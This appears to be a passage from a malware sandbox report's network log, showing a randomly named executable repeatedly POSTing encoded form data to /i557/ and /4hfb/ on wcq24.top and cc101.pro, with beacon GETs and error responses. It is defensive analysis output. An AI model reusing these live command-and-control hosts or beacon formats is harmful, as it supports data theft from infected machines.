                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 6d 37 5a 7a 41 6a 69 67 62 64 64 47 45 65 36 30 57 43 6b 70 6f 4d 32 57 43 64 73 51 4e 56 35 56 46 66 51 4e 34 58 30 67 4b 2f 54 38 30 6f 54 55 30 61 38 41 59 4e 30 45 69 44 6f 61 4e 2b 47 6e 48 49 38 68 44 54 79 61 38 78 50 75 51 47 59 4a 70 34 51 36 77 7a 71 5a 39 2b 47 2b 49 6f 4b 55 53 41 58 62 41 4e 75 74 6d 34 53 65 6d 58 31 4d 2f 51 43 4d 61 59 68 54 44 41 44 67 6c 39 4a 58 6a 47 59 66 34 59 32 74 6a 67 72 42 53 7a 69 38 2b 45 46 49 57 61 78 65 61 6e 4b 45 6c 4c 59 2f 2b 54 43 30 5a 45 37 37 31 63 70 2b 42 43 6e 58 70 41 73 62 44 5a 68 4b 6a 41 6b 58 57 47 68 65 61 71 69 42 76 6a 42 31 33 58 70 69 54 57 79 70 58 4b 70 54 30 77 48 4a 37 58 51 6b
                                                                                                                                                                    Data Ascii: tD38rnpX=m7ZzAjigbddGEe60WCkpoM2WCdsQNV5VFfQN4X0gK/T80oTU0a8AYN0EiDoaN+GnHI8hDTya8xPuQGYJp4Q6wzqZ9+G+IoKUSAXbANutm4SemX1M/QCMaYhTDADgl9JXjGYf4Y2tjgrBSzi8+EFIWaxeanKElLY/+TC0ZE771cp+BCnXpAsbDZhKjAkXWGheaqiBvjB13XpiTWypXKpT0wHJ7XQk
                                                                                                                                                                    Oct 25, 2024 16:30:24.582226992 CEST312INHTTP/1.1 404 Not Found
                                                                                                                                                                    Server: nginx
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:30:24 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 148
                                                                                                                                                                    Connection: close
                                                                                                                                                                    ETag: "66a7679f-94"
                                                                                                                                                                    Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20
                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    47192.168.2.562234154.23.184.240802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:30:26.189903975 CEST1709OUTPOST /i557/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 1245
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.wcq24.top
                                                                                                                                                                    Origin: http://www.wcq24.top
                                                                                                                                                                    Referer: http://www.wcq24.top/i557/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 6d 37 5a 7a 41 6a 69 67 62 64 64 47 45 65 36 30 57 43 6b 70 6f 4d 32 57 43 64 73 51 4e 56 35 56 46 66 51 4e 34 58 30 67 4b 2f 62 38 30 61 72 55 31 39 41 41 5a 4e 30 45 73 6a 6f 66 4e 2b 47 36 48 49 45 74 44 54 2f 6c 38 79 33 75 51 67 6b 4a 2b 5a 51 36 37 7a 71 5a 32 65 47 2f 4d 6f 4b 37 53 41 6d 51 41 4e 65 74 6d 34 53 65 6d 52 5a 4d 70 53 71 4d 63 59 68 51 56 51 44 6b 76 64 49 43 6a 47 41 68 34 5a 43 54 67 51 4c 42 53 54 79 38 34 78 70 49 4c 71 78 63 5a 6e 4b 63 6c 4c 63 38 2b 54 32 77 5a 45 50 52 31 63 52 2b 52 56 6e 4c 74 43 31 4d 57 66 6c 41 75 41 6c 72 50 77 70 66 61 63 7a 72 74 41 6c 36 38 46 6c 61 52 51 2b 70 65 49 6b 2b 69 6c 44 4a 30 51 56 6f 79 4e 4a 4a 44 7a 59 69 78 6b 6d 6f 6f 6a 56 30 58 71 36 42 59 2b 49 2b 57 6a 50 37 45 61 55 33 46 6a 67 76 35 4f 44 38 53 68 43 2b 63 47 6e 5a 58 48 42 4e 2f 32 51 6f 68 67 43 54 45 56 6d 31 4f 50 67 39 45 47 38 71 76 53 53 36 39 2b 49 6e 79 2f 77 35 46 30 52 49 6a 31 78 6a 4e 48 33 6f 42 39 30 31 53 78 4c 4a 30 72 6d 44 31 [TRUNCATED]
                                                                                                                                                                    Data Ascii: tD38rnpX=m7ZzAjigbddGEe60WCkpoM2WCdsQNV5VFfQN4X0gK/b80arU19AAZN0EsjofN+G6HIEtDT/l8y3uQgkJ+ZQ67zqZ2eG/MoK7SAmQANetm4SemRZMpSqMcYhQVQDkvdICjGAh4ZCTgQLBSTy84xpILqxcZnKclLc8+T2wZEPR1cR+RVnLtC1MWflAuAlrPwpfaczrtAl68FlaRQ+peIk+ilDJ0QVoyNJJDzYixkmoojV0Xq6BY+I+WjP7EaU3Fjgv5OD8ShC+cGnZXHBN/2QohgCTEVm1OPg9EG8qvSS69+Iny/w5F0RIj1xjNH3oB901SxLJ0rmD1jxZx8KYEATqnGJ0xeVUKuhpaYb21ECU6fwPHHKUxwtrL0tB1V9HMiCizSL4dOt9PdegDH3oFVBwTHWjn6sLFl/aWVBzBMUspJNJoUfyWiTD85OZ1nQ3jxuZItyrtTwSnVnHQdBGpgUgpMlPa7fP83dzoa3rO00WVXJ4XTxwrEHQu/220VY1SV+Em2pwB++iyfGTv8R/iZ0RfnpwU+QJsPT/IWFJb0b2UDxQHwRLto/VCyhD2nZlogGA10DMetNlipX/u9D5Q7ExaLwq0PX6dkRhGbz/YWqGtvYikEjfo9zCx654/D2jYHLFLG6Mgho8yqmWr1vryWqh4ETeQXPa1lyYAFvT16qZhk6Qykv8T/QHtos3ZeGS9oOOcCldD68LeEorPj4ITP7FOkmzr94vJZ84Um4KsYDoXEgZF4l/1SRDvMloJeM0m+iiZMgy1uPXB2VMRGym12PKjg7sSo/gpFIp0lPaEUkN5BOBtmhNoasUkJ4YPBrSWPkmqSzfU+yJVDWP1erifHS2h5HveA3x5JMERw7e0RELXSlTpNgBHLdMLeba7NI8vT8CI/hF5dNQN2iNzCozCaZbT0L5MyJETBH4VP54NMjugeyXBHs3OPbc21qcWRfoyOCPK+9oR6MZho1j0AI0sUftm9EimzI4rVIqjsJT1M0TwDJ [TRUNCATED]
                                                                                                                                                                    Oct 25, 2024 16:30:27.172434092 CEST312INHTTP/1.1 404 Not Found
                                                                                                                                                                    Server: nginx
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:30:27 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 148
                                                                                                                                                                    Connection: close
                                                                                                                                                                    ETag: "66a7679f-94"
                                                                                                                                                                    Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20
                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    48192.168.2.562235154.23.184.240802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:30:28.929157972 CEST422OUTGET /i557/?EjY0i=xfOdKrMPu&tD38rnpX=r5xTDTq+P/dmGc23aTYP++6vD4IIXl1qT9Awk095V47k3JGT99IqetoKvxAOeL2EPogdFWvWqA7DbFw7qeorxSmHrrucCK7dPTWwM5De/ZuhtXN3/B7zUJ5bWAzlxPIL4A== HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Host: www.wcq24.top
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Oct 25, 2024 16:30:29.862062931 CEST312INHTTP/1.1 404 Not Found
                                                                                                                                                                    Server: nginx
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:30:29 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 148
                                                                                                                                                                    Connection: close
                                                                                                                                                                    ETag: "66a7679f-94"
                                                                                                                                                                    Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20
                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    49192.168.2.562236188.114.97.3802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:30:35.085453987 CEST672OUTPOST /4hfb/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 209
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.cc101.pro
                                                                                                                                                                    Origin: http://www.cc101.pro
                                                                                                                                                                    Referer: http://www.cc101.pro/4hfb/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 6b 32 33 43 4d 77 4c 63 70 6b 73 33 7a 6f 78 76 62 43 30 6b 51 48 65 34 43 68 31 50 66 36 54 69 78 2f 61 45 4f 57 32 73 4d 2b 49 47 70 4c 43 64 50 37 72 42 63 46 7a 38 6d 66 44 6b 32 70 6c 61 52 4c 4c 4e 30 7a 79 70 37 62 2f 58 61 6f 6b 56 38 54 38 56 74 39 49 54 73 4c 69 2b 64 7a 64 34 51 74 6e 30 79 5a 35 4e 75 55 58 71 50 38 49 41 44 4f 31 51 41 77 4a 4e 30 41 6b 51 51 72 4f 75 6b 49 57 38 4a 53 67 41 54 2b 49 41 6a 76 77 6f 41 36 6d 37 49 55 64 4b 57 72 54 62 55 56 6f 67 4e 54 62 4c 66 46 57 66 76 70 48 76 72 68 45 4a 66 7a 42 70 54 46 41 6d 4e 7a 36 51 74 30 55 49 4b 4d 42 41 54 32 63 3d
                                                                                                                                                                    Data Ascii: tD38rnpX=k23CMwLcpks3zoxvbC0kQHe4Ch1Pf6Tix/aEOW2sM+IGpLCdP7rBcFz8mfDk2plaRLLN0zyp7b/XaokV8T8Vt9ITsLi+dzd4Qtn0yZ5NuUXqP8IADO1QAwJN0AkQQrOukIW8JSgAT+IAjvwoA6m7IUdKWrTbUVogNTbLfFWfvpHvrhEJfzBpTFAmNz6Qt0UIKMBAT2c=
                                                                                                                                                                    Oct 25, 2024 16:30:36.263140917 CEST1236INHTTP/1.1 405 Not Allowed
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:30:36 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                    Connection: close
                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PsmqD9UQKGuH%2Bqwb0XRq%2Fc8VsMuEMUOHiTW2PxCU2I1sDIzU4kPi9TKUxGVdi9i6EyWWePtXZzPPyZ7jX9YDeiwvW4azq%2BbP13%2FDIwcVlneaS8I5cRpxLAnxmp2IA99Z"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8d82e7c89a4fe836-DFW
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1444&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=672&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                    Data Raw: 32 32 38 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c [TRUNCATED]
                                                                                                                                                                    Data Ascii: 228<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->...
                                                                                                                                                                    Oct 25, 2024 16:30:36.263294935 CEST69INData Raw: 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                    Data Ascii: a padding to disable MSIE and Chrome friendly error page -->0


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    50192.168.2.562237188.114.97.3802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:30:37.628982067 CEST692OUTPOST /4hfb/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 229
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.cc101.pro
                                                                                                                                                                    Origin: http://www.cc101.pro
                                                                                                                                                                    Referer: http://www.cc101.pro/4hfb/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 6b 32 33 43 4d 77 4c 63 70 6b 73 33 79 49 74 76 64 6c 59 6b 59 48 65 37 65 52 31 50 56 61 54 6d 78 2f 57 45 4f 58 7a 33 4d 4e 38 47 6f 71 79 64 4d 2f 2f 42 62 46 7a 38 2f 76 44 68 70 35 6c 42 52 4c 50 46 30 78 32 70 37 62 72 58 61 71 38 56 2f 6b 51 57 72 74 49 56 31 62 69 77 43 6a 64 34 51 74 6e 30 79 59 4a 33 75 53 2f 71 50 4d 59 41 41 72 42 54 42 77 4a 53 33 41 6b 51 62 4c 4f 79 6b 49 57 53 4a 54 38 36 54 38 77 41 6a 75 41 6f 42 72 6d 34 43 55 64 49 4c 62 53 6f 48 51 46 6b 50 53 58 45 65 48 44 37 2b 4c 44 71 71 58 70 6a 46 52 4a 42 41 6c 73 65 64 67 79 6e 38 45 31 68 51 76 52 77 4e 68 4b 35 50 32 6d 44 4c 5a 75 2f 78 53 6b 70 4e 5a 5a 41 76 59 2b 35
                                                                                                                                                                    Data Ascii: tD38rnpX=k23CMwLcpks3yItvdlYkYHe7eR1PVaTmx/WEOXz3MN8GoqydM//BbFz8/vDhp5lBRLPF0x2p7brXaq8V/kQWrtIV1biwCjd4Qtn0yYJ3uS/qPMYAArBTBwJS3AkQbLOykIWSJT86T8wAjuAoBrm4CUdILbSoHQFkPSXEeHD7+LDqqXpjFRJBAlsedgyn8E1hQvRwNhK5P2mDLZu/xSkpNZZAvY+5
                                                                                                                                                                    Oct 25, 2024 16:30:39.052687883 CEST1236INHTTP/1.1 405 Not Allowed
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:30:38 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                    Connection: close
                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BMetUIZm5%2BOVCjBd9O9UNozmvtupvTu6KjNf8Zq4wECHyHZanq0%2FPFEwKrQsOrUori1USowDz52lBAEPaAt9P00dDGNsQWE1PbRXLZjeAnejuldZRRTPdRftWsHbFVzP"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8d82e7d8797ae73a-DFW
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1666&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=692&delivery_rate=0&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                    Data Raw: 32 32 38 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c [TRUNCATED]
                                                                                                                                                                    Data Ascii: 228<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a pa
                                                                                                                                                                    Oct 25, 2024 16:30:39.052845955 CEST65INData Raw: 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                    Data Ascii: dding to disable MSIE and Chrome friendly error page -->0
                                                                                                                                                                    Oct 25, 2024 16:30:39.053203106 CEST1236INHTTP/1.1 405 Not Allowed
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:30:38 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                    Connection: close
                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BMetUIZm5%2BOVCjBd9O9UNozmvtupvTu6KjNf8Zq4wECHyHZanq0%2FPFEwKrQsOrUori1USowDz52lBAEPaAt9P00dDGNsQWE1PbRXLZjeAnejuldZRRTPdRftWsHbFVzP"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8d82e7d8797ae73a-DFW
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1666&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=692&delivery_rate=0&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                    Data Raw: 32 32 38 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c [TRUNCATED]
                                                                                                                                                                    Data Ascii: 228<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a pa


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    51192.168.2.562238188.114.97.3802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:30:40.174587965 CEST1709OUTPOST /4hfb/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 1245
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.cc101.pro
                                                                                                                                                                    Origin: http://www.cc101.pro
                                                                                                                                                                    Referer: http://www.cc101.pro/4hfb/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
